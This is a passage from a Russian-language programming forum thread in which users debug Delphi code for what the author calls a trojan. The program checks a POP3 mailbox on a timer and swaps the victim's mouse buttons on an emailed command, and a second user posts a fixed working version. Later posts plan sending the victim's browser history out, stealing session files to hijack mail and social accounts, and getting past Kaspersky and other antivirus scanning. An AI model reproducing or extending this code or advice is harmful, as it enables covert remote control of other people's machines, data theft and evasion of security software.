type TForm1 = class(TForm) Timer1: TTimer; IdPOP31: TIdPOP3; IdMessage1: TIdMessage; procedure FormCreate(Sender: TObject); procedure Timer1Timer(Sender: TObject); private { Private declarations } public { Public declarations } function UpMessage: longint; end;
var Form1: TForm1; msgCount, i: integer; implementation
{$R *.dfm}
{ TForm1 }
function TForm1.UpMessage: longint; begin idpop31.Connect;//конектимся с сервером msgCount:=idpop31.CheckMessages;//узнаём кол-во сообщений if msgCount>0 then begin for i:=1 to msgCount do begin idmessage1.Clear;// очищаем от предыдущих записей idpop31.Retrieve(i,idmessage1);//начинаем приём сообщений if idmessage1.Body.Text<>'mouse' then //Сама проблема! если вместо "<>" поставит "=" то не работает! SwapMouseButton(true); idpop31.Disconnect; end end else idpop31.Disconnect; end;
procedure TForm1.FormCreate(Sender: TObject); begin UpMessage; end;
procedure TForm1.Timer1Timer(Sender: TObject); begin UpMessage; end;
end.
Сообщение отредактировал Del - Среда, 22.08.2012, 16:04
ну ты даешь XSPY вобще то на сколько я знаю в исключениях if перед then не пишется " : " перед равенством или неравенством значения...!!!
Del у тебя в коде:
Code
if idmessage1.Body.Text<>'mouse' then //Если тело письма НЕ РАВНО 'mouse' то... //другими словами если в теле письма нету текста 'mouse' то выполнить след. код... //а если поставить знак '=' и отправить письмо с текстом 'mouse' то так же выполнится след. код... SwapMouseButton(true); idpop31.Disconnect; end
а если ты используешь свой знак '<>' то при отправке письма с текстом 'mouse' естественно у тебя код работать не будет, банальная ошибка!
Сообщение отредактировал xXxSh@dowxXx - Четверг, 23.08.2012, 00:36
if idmessage1.Body.Text<>'mouse' then //Если тело письма НЕ РАВНО 'mouse' то... //другими словами если в теле письма нету текста 'mouse' то выполнить след. код...
В том то и дело, что в письме есть "мышь" а он считает, что её нет! И или я не так понял? P.S. Кстати, а как программно можно удалить сообщение из почтового ящика?
Quote (XSPY)
Del, а может надо не не "=" а ":="
Оператор присваивания?
Сообщение отредактировал Del - Четверг, 23.08.2012, 13:46
Del че та я сразу даже весь код то и не смотрел, а к какому серверу ты вобще конектишься, если к почт. ящику, то где у тебя тогда логин - пароль? странный код конечно...
Del Вобщем меня самого заинтересовал вопрос, почему же все таки не работает код через
Code
idMessage1.Body.Text = 'mouse'
Убил на поиск ошибки пол дня и все таки нашел в чем проблема!!!
Оказалось что поля сообщения в почтовом ящике несколько расширены чем это может показаться на первый взгляд, то есть, по сути текст в теле письма на почтовом ящике выглядит так:
Code
'mouse
'
для наглядности отметил текст в ковычки... так вот, а ты пытаешься сравнивать то что получает idMessage1.Body.Text с вот этим 'mouse', в то время как текст в idMessage1 будет как минимум на два переноса больше, почему я говорю переноса а не два пробела, потому что проведя пару тестов такого плана:
Code
if idMessage1.Body.Text = 'mouse ' then
естественно ничего не сработало, так как там именно перенос строки а не пробелы...
PS: Данную проблему я смог решить только с помощью Memo1, ведь в коде просто так перенос не паставишь, а в поле Мемо запросто...
Вот рабочий код!!!! Держи...
Code
procedure TForm1.Button1Click(Sender: TObject); var n,k: integer; begin idpop31.Host:='pop3.yandex.ru'; idpop31.Port:=110; idpop31.Username:='login'; idpop31.Password:='pass'; idpop31.Connect; //конектимся с сервером if idpop31.Connected = true then begin showmessage('Connected'); idpop31.CheckMessages; n:= idpop31.CheckMessages; Edit1.Text:= IntToStr(n); if n > 0 then begin for k:=1 to n do begin idMessage1.Clear; idpop31.Retrieve(k,idMessage1); if idMessage1.Body.Text = Memo1.Lines.Text then begin showmessage('MOUSE OK'); end else begin showmessage('dont mouse'); end; end; end else begin showmessage('сообщений нет, или почта пуста'); end; end else begin showmessage('offline'); end; idpop31.Disconnect; end;
Кстати забыл напомнить, не забудьте в текстовом поле Memo1 параметр должен быть указан с 2мя переносами, что бы сработало, вот таким вот образом:
Code
'mouse
'
!!!ТОЛЬКО БЕЗ КОВЫЧЕК!!!
Сообщение отредактировал xXxSh@dowxXx - Пятница, 24.08.2012, 12:05
думаю вставить функцию чтобы троян отсылал историю браузера
Имеете ввиду историю посещений сайтов,журнал браузера?, так какой в нем прок, если Вы все равно не зайдете на те ресурсы пользователя где требуется аутентификация (ввод логина и пароля), так как сессия будет мертва, если только не спереть файл сессии, тогда если пользователь полный "ЛАМЕР", можно увести все его почтовые адреса, странички соц сетей и тд.
Кто согласится проверить beta версию трояна на палевность антивирусами?
Сразу тебе скажу даже без проверки, последний Каспер эвристикой палит любой коннект неизвестного приложения на удаленный ресурс, в том числе почтовые сервисы, так что с Каспером точно не сработает!
тяжеловато будет, сам пытался его обойти, с каждым новым обновлением все сложнее, эвристика слишком предирчивая у него, да же к некоторому лицензионному ПО.
у меня получилось обойти предыдущую версию каспера, за 2011 год, а новый 2012 исправили и теперь мои отмычки уже не работают
а что касается других АВ, то многие просто сигнатурно проверяют, не зацикливаясь на эвристическом анализе,какие то можно обойти, тем более что твоя программа ничего особо противоречивого не делает, с точки зрения АВ анализа...
Сообщение отредактировал xXxSh@dowxXx - Пятница, 24.08.2012, 13:11
а что касается других АВ, то многие просто сигнатурно проверяют, не зацикливаясь на эвристическом анализе,какие то можно обойти, тем более что твоя программа ничего особо противоречивого не делает, с точки зрения АВ анализа...
Доверять, но проверять. Кому не трудно обращайтесь.